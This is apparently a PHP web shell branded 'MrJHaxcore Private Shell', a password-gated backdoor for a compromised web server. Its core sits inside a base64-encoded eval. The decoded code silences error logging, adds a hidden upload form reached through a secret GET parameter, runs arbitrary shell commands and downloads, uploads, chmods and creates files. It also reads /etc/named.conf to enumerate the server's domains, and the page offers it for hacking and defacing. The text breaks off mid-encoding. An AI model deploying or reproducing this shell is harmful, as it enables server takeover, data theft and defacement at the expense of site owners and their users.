TRACE END [2023-02-12 22:33:13.269642]
<html><head>
<meta name="viewport" content="widht=device-widht, initial-scale=1.0">
<meta name="theme-color" content="#800000">
<meta name="author" content="MrJ">
<meta name="copyright" content="MrJTeam">
<title>MrJHaxcore Private Shell</title>
<link rel="icon" type="image/png" href="https://cdn1.vectorstock.com/i/thumb-large/64/25/vintage-scary-skull-concept-vector-21006425.jpg">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
</head>
<body class="bg-dark text-center text-light">
<div class="container text-center mt-3">
<center>
<img src="https://anonphillipines.files.wordpress.com/2016/05/logo.gif" width="500" height="360">
<h1>[MrJ Haxcore Shell]</h1>
<h5>This is a Private Shell</h5><hr>
<p class="mt-3 font-weight-bold"><i class="fa fa-terminal"></i> This shell has many features inside it a lot of tools for pentesting,hacking, defacing and many more but this is a private shell.</p>
<form method="post">
<div class="form-group input-group">
<div class="input-group-prepend">
<div class="input-group-text"><i class="fa fa-user"></i></div>
</div>
<input type="password" name="pass" placeholder="Input private key here" class="form-control">
</div>
<input type="submit" class="btn btn-danger btn-block" value="Login">
</form>
</center></div>
<a href="https://facebook.com/mrjhaxxcore" class="text-muted fixed-bottom mb-3">©Copyright © MrJ.PH</a>
</body></html>
<?=eval("?>".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCkVycm9yX3JlcG9ydGluZygwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBjbGVhcnN0YXRjYWNoZSgpOw0KQGluaV9zZXQoJ0Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX0Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X0Vycm9ycycsIDApOw0KaWYoaXNzZXQoJF9HRVRbJ0FuZ2tvbFZlbiddKSl7IGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQogIDxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZF9maWxlJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndScgdmFsdWU9J3UtJz4gPC9mb3JtPiI7DQokcm9vdCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ICRmaWxlcyA9ICRfRklMRVNbJ2lkX2ZpbGUnXVsnbmFtZSddOyAkZGVzdCA9ICRyb290LicvJy4kZmlsZXM7DQppZihpc3NldCgkX1BPU1RbJ3UnXSkpIHsNCmlmKGlzX3dyaXRhYmxlKCRyb290KSkgew0KaWYoQGNvcHkoJF9GSUxFU1snaWRfZmlsZSddWyd0bXBfbmFtZSddLCAkZGVzdCkpIHsNCiR3ZWIgPSAiaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIjsNCmVjaG8gInMgdSAtPiA8YSBocmVmPSckd2ViLyRmaWxlcycgdGFyZ2V0PSdfYmxhbmsnPjxiPjx1PiR3ZWIvJGZpbGVzPC91PjwvYj48L2E+IjsNCn0gZWxzZSB7IGVjaG8gImcgdSBkIGQgci4iOyB9IH0gZWxzZSB7DQppZihAY29weSgkX0ZJTEVTWydpZF9maWxlJ11bJ3RtcF9uYW1lJ10sICRmaWxlcykpIHsgZWNobyAicyA8Yj4kZmlsZXM8L2I+IGQiOyB9IGVsc2UgeyBlY2hvICJnIjsgfSB9IH0gfSANCg0KLyogQ29uZmlndXJhc2kgKi8NCiRhdXBhcyAJCQk9ICJiMWU4NDYwZDRjZmIwY2ExNmE2OTk4YmYwNDBjYzJhYiI7Ly8gcGFzc3dvcmQ6IG1yag0KJGRlZmF1bHRfYWN0aW9uIAk9ICdGaWxlc01hbic7DQokZGVmYXVsdF91c2VfYWpheCAJPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCAJPSAnVVRGLTgnOw0KZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiQXNpYS9QaGlsaXBwaW5lcyIpOw0KZnVuY3Rpb24gbG9naW5fc2hlbGwoKXsNCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KCTxoZWFkPg0KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkaHQ9ZGV2aWNlLXdpZGh0LCBpbml0aWFsLXNjYWxlPTEuMCIvPg0KCQk8bWV0YSBuYW1lPSJ0aGVtZS1jb2xvciIgY29udGVudD0iIzgwMDAwMCIvPg0KCQk8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9Ik1ySiIvPg0KCQk8bWV0YSBuYW1lPSJjb3B5cmlnaHQiIGNvbnRlbnQ9Ik1ySlRlYW0iLz4NCgkJPHRpdGxlPk1ySkhheGNvcmUgUHJpdmF0ZSBTaGVsbDwvdGl0bGU+DQoJCTxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UvcG5nIiBocmVmPSJodHRwczovL2NkbjEudmVjdG9yc3RvY2suY29tL2kvdGh1bWItbGFyZ2UvNjQvMjUvdmludGFnZS1zY2FyeS1za3VsbC1jb25jZXB0LXZlY3Rvci0yMTAwNjQyNS5qcGciLz4NCgkJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjMuMC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiLz4NCgkJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL3VzZS5mb250YXdlc29tZS5jb20vcmVsZWFzZXMvdjUuNy4xL2Nzcy9hbGwuY3NzIi8+DQoJPC9oZWFkPg0KCTxib2R5IGNsYXNzPSJiZy1kYXJrIHRleHQtY2VudGVyIHRleHQtbGlnaHQiPg0KCQk8ZGl2IGNsYXNzPSJjb250YWluZXIgdGV4dC1jZW50ZXIgbXQtMyI+DQoJCTxjZW50ZXI+DQoJCTxpbWcgc3JjPSJodHRwczovL2Fub25waGlsbGlwaW5lcy5maWxlcy53b3JkcHJlc3MuY29tLzIwMTYvMDUvbG9nby5naWYiIHdpZHRoPSI1MDAiIGhlaWdodD0iMzYwIj4NCgkJCTxoMT5bTXJKIEhheGNvcmUgU2hlbGxdPC9oMT4NCgkJCTxoNT5UaGlzIGlzIGEgUHJpdmF0ZSBTaGVsbDwvaDU+PGhyLz4NCgkJCTxwIGNsYXNzPSJtdC0zIGZvbnQtd2VpZ2h0LWJvbGQiPjxpIGNsYXNzPSJmYSBmYS10ZXJtaW5hbCI+PC9pPiBUaGlzIHNoZWxsIGhhcyBtYW55IGZlYXR1cmVzIGluc2lkZSBpdCBhIGxvdCBvZiB0b29scyBmb3IgcGVudGVzdGluZyxoYWNraW5nLCBkZWZhY2luZyBhbmQgbWFueSBtb3JlIGJ1dCB0aGlzIGlzIGEgcHJpdmF0ZSBzaGVsbC48L3A+DQoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgaW5wdXQtZ3JvdXAiPg0KCQkJCQk8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC1wcmVwZW5kIj4NCgkJCQkJCTxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLXRleHQiPjxpIGNsYXNzPSJmYSBmYS11c2VyIj48L2k+PC9kaXY+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiIHBsYWNlaG9sZGVyPSJJbnB1dCBwcml2YXRlIGtleSBoZXJlIiBjbGFzcz0iZm9ybS1jb250cm9sIj4NCgkJCQk8L2Rpdj4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIiBjbGFzcz0iZm9ybS1jb250cm9sIiB2YWx1ZT0iTG9naW4iPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgkJPGEgaHJlZj0iaHR0cHM6Ly9mYWNlYm9vay5jb20vbXJqaGF4eGNvcmUiIGNsYXNzPSJ0ZXh0LW11dGVkIGZpeGVkLWJvdHRvbSBtYi0zIj7CqUNvcHlyaWdodCAmY29weTsgTXJKLlBIPC9hPg0KCTwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQpleGl0Ow0KfQ0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKXsNCglpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1cGFzKSl7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOw0KCX1lbHNlew0KCQlsb2dpbl9zaGVsbCgpOw0KCX0NCn0NCmlmKGlzc2V0KCRfR0VUWydmaWxlJ10pICYmICgkX0dFVFsnZmlsZSddICE9ICcnKSAmJiAoJF9HRVRbJ2Frc2knXSA9PSAnZG93bmxvYWQnKSl7DQoJQG9iX2NsZWFuKCk7DQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOw0KCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLmJhc2VuYW1lKCRmaWxlKS4nIicpOw0KCWhlYWRlcignRXhwaXJlczogMCcpOw0KCWhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlJyk7DQoJaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZmlsZSkpOw0KCXJlYWRmaWxlKCRmaWxlKTsNCglleGl0Ow0KfQ0KZnVuY3Rpb24gdygkZGlyLCRwZXJtKXsNCglpZighaXNfd3JpdGFibGUoJGRpcikpew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPSdyZWQnPiIuJHBlcm0uIjwvZm9udD4iOw0KCX1lbHNlew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPSdsaW1lJz4iLiRwZXJtLiI8L2ZvbnQ+IjsNCgl9DQp9DQpmdW5jdGlvbiByKCRkaXIsJHBlcm0pew0KCWlmKCFpc19yZWFkYWJsZSgkZGlyKSl7DQoJCXJldHVybiAiPGZvbnQgY29sb3I9cmVkPiIuJHBlcm0uIjwvZm9udD4iOw0KCX1lbHNlew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPWxpbWU+Ii4kcGVybS4iPC9mb250PiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBleGUoJGNtZCl7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7DQoJCUBvYl9zdGFydCgpOw0KCQlAc3lzdGVtKCRjbWQpOw0KCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJQG9iX2VuZF9jbGVhbigpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQoJCUBleGVjKCRjbWQsJHJlc3VsdHMpOw0KCQkkYnVmZiA9ICIiOw0KCQlmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpew0KCQkJJGJ1ZmYgLj0gJHJlc3VsdDsNCgkJfSByZXR1cm4gJGJ1ZmY7DQoJfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KCQlAb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRjbWQpOw0KCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJQG9iX2VuZF9jbGVhbigpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7DQoJCSRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7DQoJCXJldHVybiAkYnVmZjsNCgl9DQp9DQpmdW5jdGlvbiBwZXJtcygkZmlsZSl7DQoJJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsNCglpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKXsNCgkJLy8gU29ja2V0DQoJCSRpbmZvID0gJ3MnOw0KCX1lbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCl7DQoJCS8vIFN5bWJvbGljIExpbmsNCgkJJGluZm8gPSAnbCc7DQoJfWVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKXsNCgkJLy8gUmVndWxhcg0KCQkkaW5mbyA9ICctJzsNCgl9ZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApew0KCQkvLyBCbG9jayBzcGVjaWFsDQoJCSRpbmZvID0gJ2InOw0KCX1lbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCl7DQoJCS8vIERpcmVjdG9yeQ0KCQkkaW5mbyA9ICdkJzsNCgl9ZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApew0KCQkvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KCQkkaW5mbyA9ICdjJzsNCgl9ZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApew0KCQkvLyBGSUZPIHBpcGUNCgkkaW5mbyA9ICdwJzsNCgl9ZWxzZXsNCgkJLy8gVW5rbm93bg0KCQkkaW5mbyA9ICd1JzsNCgl9DQoJLy8gT3duZXINCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJLy8gR3JvdXANCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoJCQ0KCS8vIFdvcmxkDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQoJKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KCXJldHVybiAkaW5mbzsNCn0NCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOw0KJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOw0KaWYoaXNzZXQoJF9HRVRbJ2RpciddKSl7DQoJJGRpciA9ICRfR0VUWydkaXInXTsNCgljaGRpcigkZGlyKTsNCn1lbHNlew0KCSRkaXIgPSBnZXRjd2QoKTsNCn0NCgkNCiRvcyA9IHBocF91bmFtZSgpOw0KJGlwID0gZ2V0SG9zdEJ5TmFtZShnZXRIb3N0TmFtZSgpKTsNCiR2ZXIgPSBwaHB2ZXJzaW9uKCk7DQokd2ViID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJHNvZiA9ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXTsgDQokZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwiLyIsJGRpcik7DQokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7DQokbXlzcWwgPSAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpID8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KJGN1cmwgPSAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgPyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQokbWFpbCA9IChmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkgPyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQokdG90YWwgPSBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOw0KJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGRpcik7DQokcGVycyA9ICAoaW50KSAoJGZyZWUvJHRvdGFsKjEwMCk7DQokZHMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCiRzaG93X2RzID0gKCFlbXB0eSgkZHMpKSA/ICI8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1kaXNhYmZ1bmMnIGNsYXNzPSdkcyc+JGRzPC9hPiIgOiAiPGEgaHJlZj0nP2Rpcj0kZGlyJmFrc2k9ZGlzYWJmdW5jJz48Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYT4iOw0KJGltZ2ZvbCA9ICI8aW1nIHNyYz0naHR0cDovL2F1eC5pY29uc3BhbGFjZS5jb20vdXBsb2Fkcy9mb2xkZXItaWNvbi0yNTYtMTc4NzY3MjQ4Mi5wbmcnIGNsYXNzPSdpY28nPjwvaW1nPiI7DQokaW1nZmlsZSA9ICI8aW1nIHNyYz0naHR0cDovL2ljb25zLmljb25hcmNoaXZlLmNvbS9pY29ucy96aG9vbGVnby9tYXRlcmlhbC8yNTYvRmlsZXR5cGUtRG9jcy1pY29uLnBuZycgY2xhc3M9J2ljbzInPjwvaW1nPiI7DQpmdW5jdGlvbiBmb3JtYXRTaXplKCAkYnl0ZXMgKXsNCgkkdHlwZXMgPSBhcnJheSggJ0InLCAnS0InLCAnTUInLCAnR0InLCAnVEInICk7DQoJZm9yKCAkaSA9IDA7ICRieXRlcyA+PSAxMDI0ICYmICRpIDwgKCBjb3VudCggJHR5cGVzICkgLTEgKTsgJGJ5dGVzIC89IDEwMjQsICRpKysgKTsNCglyZXR1cm4oIHJvdW5kKCAkYnl0ZXMsIDIgKS4iICIuJHR5cGVzWyRpXSApOw0KfQ0KZnVuY3Rpb24gYW1iaWxLYXRhKCRwYXJhbSwgJGthdGExLCAka2F0YTIpew0KCWlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQoJaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsNCgkkc3RhcnQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTEpICsgc3RybGVuKCRrYXRhMSk7DQoJJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsNCgkkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsNCglyZXR1cm4gJHJldHVybjsNCn0NCiRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIsIGZhbHNlKTsNCmlmICghJGQwbWFpbnMpew0KCSRkb20gPSAiPGZvbnQgY29sb3I9cmVkIHNpemU9MnB4PkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9mb250PiI7DQoJJEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOw0KfWVsc2V7IA0KCSRjb3VudCA9IDA7DQoJZm9yZWFjaCAoJGQwbWFpbnMgYXMgJGQwbWFpbil7DQoJCWlmIChAc3Ryc3RyKCRkMG1haW4sICJ6b25lIikpew0KCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7DQoJCQlmbHVzaCgpOw0KCQkJaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCgkJCQlmbHVzaCgpOw0KCQkJCSRjb3VudCsrOw0KCQkJfQ0KCQl9DQoJfQ0KCSRkb20gPSAiJGNvdW50IERvbWFpbiI7DQp9DQpmdW5jdGlvbiBzd2FsbCgkc3dhLCR0ZXh0LCRkaXIpew0KCWVjaG8gIjxzY3JpcHQ+U3dhbC5maXJlKHsNCgkJdGl0bGU6ICckc3dhJywNCgkJdGV4dDogJyR0ZXh0JywNCgkJdHlwZTogJyRzd2EnLA0KCX0pLnRoZW4oKHZhbHVlKSA9PiB7d2luZG93LmxvY2F0aW9uPSc/ZGlyPSRkaXInO30pPC9zY3JpcHQ+IjsNCn0NCmZ1bmN0aW9uIGFib3V0KCl7DQoJZWNobyAnPGRpdiBjbGFzcz0iY2FyZCB0ZXh0LWNlbnRlciBiZy1saWdodCBhYm91dCI+DQoJCTxoNCBjbGFzcz0iY2FyZC1oZWFkZXIiPjw+PD5bIEFuZ2tvbFZlbiBdPD48PjwvaDQ+DQoJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSI+DQoJCQk8Y2VudGVyPjxkaXYgY2xhc3M9ImltZyI+PC9kaXY+PC9jZW50ZXI+DQoJCQk8cCBjbGFzcz0iY2FyZC10ZXh0Ij5UaGlzIFNoZWxsIHdhcyBjcmVhdGVkIGluIFBoaWxpcHBpbmVzLCBKdWx5LiAxMCwgMjAyMi4gQnkgbXJqLiBUaGlzIGlzIGEgUHJpdmF0ZSBhbmQgd2UgYXJlIG5vdCBzZWxsaW5nIHRoaXMgdG9vbC48L3A+DQoJCTwvZGl2Pg0KCQk8ZGl2IGNsYXNzPSJjYXJkLWZvb3RlciI+DQoJCQk8c21hbGwgY2xhc3M9ImNhcmQtdGV4dCB0ZXh0LW11dGVkIj5Db3B5cmlnaHQgMjAyMCAmY29weTsgQ3liZXJNYWZpYS1QSDwvc21hbGw+DQoJCTwvZGl2Pg0KCTwvZGl2Pjxici8+JzsNCglleGl0Ow0KfQ0KZnVuY3Rpb24gYWtzaVVwbG9hZCgkZGlyKXsNCgllY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPg0KCQk8ZGl2IGNsYXNzPSJjYXJkIj4NCgkJCTxkaXYgY2xhc3M9ImNhcmQtYm9keSBmb3JtLWdyb3VwIj4NCgkJCQk8cCBjbGFzcz0idGV4dC1tdXRlZCI+Ly9NdWx0aXBsZSBVcGxvYWQ8L3A+DQoJCQkJPGRpdiBjbGFzcz0iY3VzdG9tLWZpbGUiPg0KCQkJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVtdIiBtdWx0aXBsZSBjbGFzcz0iY3VzdG9tLWZpbGUtaW5wdXQiIGlkPSJjdXN0b21GaWxlIj4NCgkJCQkJPGxhYmVsIGNsYXNzPSJjdXN0b20tZmlsZS1sYWJlbCIgZm9yPSJjdXN0b21GaWxlIj5DaG9vc2UgZmlsZTwvbGFiZWw+DQoJCQkJPC9kaXY+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkgYnRuLWJsb2NrIG10LTQgcC0yIiBuYW1lPSJ1cGxvYWQiIHZhbHVlPSJVcGxvYWQiPg0KCQkJPC9kaXY+DQoJCTwvZGl2Pg0KCTwvZm9ybT4nOw0KCWlmKGlzc2V0KCRfUE9TVFsndXBsb2FkJ10pKXsNCgkJJGp1bWxhaCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsNCgkJZm9yKCRpPTA7JGk8JGp1bWxhaDskaSsrKXsNCgkJCSRmaWxlbmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddWyRpXTsNCgkJCQkkdXAgPSBAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ11bJGldLCAiJGRpci8iLiRmaWxlbmFtZSk7DQoJCX0NCgkJaWYoJGp1bWxhaCA8IDIpew0KCQkJaWYoJHVwKXsNCgkJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJCSR0ZXh0ID0gIlN1Y2Nlc3MgVXBsb2FkICRmaWxlbmFtZSI7DQoJCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJCX1lbHNlew0KCQkJCSRzd2EgPSAiRXJyb3IiOw0KCQkJCSR0ZXh0ID0gIkZhaWxlZCBVcGxvYWQgRmlsZSI7DQoJCQkJc3dhbGwoJHN3YSwkdGV4dCwkZGlyKTsNCgkJCX0NCgkJfWVsc2V7DQoJCQkkc3dhID0gIlN1Y2Nlc3MiOw0KCQkJJHRleHQgPSAiU3VjY2VzcyBVcGxvYWQgJGp1bWxhaCBGaWxlIjsNCgkJCXN3YWxsKCRzd2EsJHRleHQsJGRpcik7DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBjaG1vZEZpbGUoJGRpciwkZmlsZSwkbmZpbGUpew0KCWVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCTxoNT5DaG1vZCBGaWxlIDogJG5maWxlIDwvaDU+DQoJCTxkaXYgY2xhc3M9J2Zvcm0tZ3JvdXAgaW5wdXQtZ3JvdXAnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Blcm0nIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHZhbHVlPSciLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX0dFVFsnZmlsZSddKSksIC00KS4iJz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDaG1vZCc+DQoJCTwvZGl2Pg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7DQoJCWlmKEBjaG1vZCgkX0dFVFsnZmlsZSddLCRfUE9TVFsncGVybSddKSl7DQoJCQllY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+Q2hhbmdlIFBlcm1pc3Npb24gU3VjY2VzczwvZm9udD48YnIvPic7DQoJCX1lbHNlew0KCQkJZWNobyAnPGZvbnQgY29sb3I9IndoaXRlIj5DaGFuZ2UgUGVybWlzc2lvbiBGYWlsZWQ8L2ZvbnQ+PGJyLz4nOw0KCQl9DQoJfQ0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBmb3JGaWxlKCRkaXIsJGltZ2ZpbGUpew0KCWVjaG8gIjxoND5JbWFnZSBGaWxlIENyZWF0ZSBGaWxlIDwvaDQ+DQoJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtZSBGaWxlLi4uJz4NCgkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwLXByZXBlbmQnPg0KCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwLXRleHQnPjxhIGlkPSdhZGRfaW5wdXQnPjxpIGNsYXNzPSdmYSBmYS1wbHVzJz48L2k+PC9hPjwvZGl2Pg0KCQkJPC9kaXY+DQoJCTwvZGl2Pjxici8+DQoJCTxkaXYgaWQ9J291dHB1dCc+PC9kaXY+DQoJCTx0ZXh0YXJlYSBuYW1lPSdpc2lfZmlsZScgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnIHBsYWNlaG9sZGVyPSdGaWxsIGluIHRoZSBDb250ZW50Jz48L3RleHRhcmVhPjxici8+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWluZm8gYnRuLWJsb2NrJyBuYW1lPSdiaWtpbicgdmFsdWU9J1N1Ym1pdCc+DQoJPC9mb3JtPiI7DQoJaWYgKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpew0KCQkkbmFtZSA9ICRfUE9TVFsnbmFtYV9maWxlJ107DQoJCSRpc2lfZmlsZSA9ICRfUE9TVFsnaXNpX2ZpbGUnXTsNCgkJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7DQoJCQkkaGFuZGxlID0gQGZvcGVuKCIkbmFtYV9maWxlIiwgInciKTsNCgkJCWlmKCRpc2lf